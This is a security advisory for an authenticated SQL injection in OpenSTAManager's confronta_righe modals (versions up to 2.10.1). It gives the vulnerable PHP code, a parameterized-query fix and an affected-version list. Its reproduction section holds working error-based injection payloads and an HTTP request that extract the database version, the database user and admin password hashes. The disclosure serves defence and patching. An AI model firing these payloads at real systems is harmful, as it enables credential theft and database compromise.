GHSA-mmm5-3g4x-qw39

Suggest an improvement
Source
https://github.com/advisories/GHSA-mmm5-3g4x-qw39
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-mmm5-3g4x-qw39/GHSA-mmm5-3g4x-qw39.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-mmm5-3g4x-qw39
Aliases
Published
2026-04-03T21:57:08Z
Modified
2026-04-03T22:11:30Z
Severity
  • 8.8 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals
Details

Description

Six confronta_righe.php files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The righe parameter received via $_GET['righe'] is directly concatenated into an SQL query without any sanitization, parameterization or validation.

An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data.

Affected Files

All 6 vulnerable files share the same code pattern:

# File Line Affected Table
1 modules/fatture/modals/confronta_righe.php 29 co_righe_documenti
2 modules/interventi/modals/confronta_righe.php 29 in_righe_interventi
3 modules/preventivi/modals/confronta_righe.php 28 co_righe_preventivi
4 modules/ordini/modals/confronta_righe.php 29 or_righe_ordini
5 modules/ddt/modals/confronta_righe.php 29 dt_righe_ddt
6 modules/contratti/modals/confronta_righe.php 28 co_righe_contratti

Vulnerable Code

All files follow the same pattern. Example from modules/interventi/modals/confronta_righe.php:

$righe = $_GET['righe'];  // Line 29 — No sanitization

$righe = $dbo->fetchArray(
    'SELECT
        `mg_articoli_lang`.`title`,
        `mg_articoli`.`codice`,
        `in_righe_interventi`.*
    FROM
        `in_righe_interventi`
        INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo`
        LEFT JOIN `mg_articoli_lang` ON (...)
    WHERE
        `in_righe_interventi`.`id` IN ('.$righe.')'  // Line 41 — Direct concatenation
);

The value of $_GET['righe'] is inserted directly into the SQL IN() clause without using prepare(), parameterized statements or any sanitization function.

Reproduction

Prerequisites

  • Authenticated session (any user with module access)
  • At least one existing record in the target module (e.g. an intervention with id=1)

Step 1: Extract MySQL version

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23

Result: XPATH syntax error: '~8.3.0'

Step 2: Extract database user

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23

Result: XPATH syntax error: '~root@172.19.0.3'

Step 3: Extract admin credentials

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23

Result: XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'

Evidence

image

HTTP Request

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1
Host: <TARGET>
Cookie: PHPSESSID=<SESSION_ID>

Response (excerpt)

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'

Impact

  • Confidentiality (High): Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information
  • Integrity (High): Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries
  • Availability (High): Deletion of tables or critical data, database corruption

Remediation

Recommended Fix

Use parameterized statements with prepare() for the righe parameter:

// BEFORE (vulnerable):
$righe = $_GET['righe'];
$righe = $dbo->fetchArray(
    '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')'
);

// AFTER (secure):
$righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? ''));
$placeholders = implode(',', array_fill(0, count($righe_ids), '?'));
$righe = $dbo->fetchArray(
    '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')',
    $righe_ids
);

This fix must be applied to all 6 files listed in the "Affected Files" section.

Credits

Omar Ramirez

Database specific
{
    "cwe_ids":  [
        "CWE-89"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-03T21:57:08Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

Packagist / devcode-it/openstamanager

Package

Name
devcode-it/openstamanager
Purl
pkg:composer/devcode-it/openstamanager

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.10.2

Affected versions

2.*
2.3.0
v2.*
v2.4
v2.4.1
v2.4.2
v2.4.3
v2.4.4
v2.4.5
v2.4.6
v2.4.7
v2.4.8
v2.4.9
v2.4.10
v2.4.11
v2.4.12
v2.4.13
v2.4.14
v2.4.15
v2.4.16
v2.4.17
v2.4.17.1
v2.4.18
v2.4.19
v2.4.20
v2.4.21
v2.4.22
v2.4.23
v2.4.24
v2.4.25
v2.4.26
v2.4.27
v2.4.28
v2.4.29
v2.4.30
v2.4.31
v2.4.32
v2.4.33
v2.4.34
v2.4.35
v2.4.36
v2.4.37
v2.4.38
v2.4.39
v2.4.40
v2.4.41
v2.4.42
v2.4.43
v2.4.44
v2.4.45
v2.4.46
v2.4.47
v2.4.48
v2.4.49
v2.4.50
v2.4.51
v2.4.52
v2.4.53
v2.4.54
v2.5
v2.5.1-beta
v2.5.2-beta
v2.5.3
v2.5.4
v2.5.5
v2.5.6
v2.5.7
v2.6-beta
v2.6.1
v2.6.2
v2.7-beta
v2.7
v2.7.1
v2.7.2
v2.7.3
v2.8-beta
v2.8.1
v2.8.2
v2.8.3
v2.9-beta
v2.9
v2.9.1
v2.9.2
v2.9.3
v2.9.4
v2.9.5
v2.9.6
v2.9.7
v2.9.8
v2.10-beta
v2.10.1

Database specific

last_known_affected_version_range
"<= 2.10.1"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-mmm5-3g4x-qw39/GHSA-mmm5-3g4x-qw39.json"